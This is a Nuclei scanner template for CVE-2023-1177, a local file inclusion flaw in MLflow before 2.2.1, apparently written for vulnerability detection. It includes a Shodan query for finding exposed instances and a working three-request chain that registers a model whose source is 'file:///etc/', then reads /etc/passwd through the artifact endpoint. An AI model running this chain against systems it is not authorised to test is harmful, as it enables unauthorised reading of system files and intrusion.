id: CVE-2023-1177

info:
  name: Mlflow <2.2.1 - Local File Inclusion
  author: iamnoooob,pdresearch
  severity: critical
  description: |
    Mlflow before 2.2.1 is susceptible to local file inclusion due to path traversal \..\filename in GitHub repository mlflow/mlflow. An attacker can potentially obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
  reference:
    - https://huntr.dev/bounties/1fe8f21a-c438-4cba-9add-e8a5dab94e28/
    - https://github.com/mlflow/mlflow/commit/7162a50c654792c21f3e4a160eb1a0e6a34f6e6e
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-1177
    - https://huntr.dev/bounties/1fe8f21a-c438-4cba-9add-e8a5dab94e28
    - https://nvd.nist.gov/vuln/detail/CVE-2023-1177
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-1177
    cwe-id: CWE-29
    cpe: cpe:2.3:a:lfprojects:mlflow:*:*:*:*:*:*:*:*
    epss-score: 0.00965
  metadata:
    max-request: 3
    shodan-query: http.title:"mlflow"
    verified: "true"
  tags: mlflow,oss,lfi,huntr,cve,cve2023

http:
  - raw:
      - |
        POST /ajax-api/2.0/mlflow/registered-models/create HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json; charset=utf-8

        {"name":"{{randstr}}"}

      - |
        POST /ajax-api/2.0/mlflow/model-versions/create HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json; charset=utf-8

        {"name":"{{randstr}}","source":"file:///etc/"}

      - |
        GET /model-versions/get-artifact?path=passwd&name=AJAX-API&version={{version}} HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        part: body
        name: version
        internal: true
        group: 1
        regex:
          - '"version": "([0-9.]+)",'

# Enhanced by md on 2023/04/14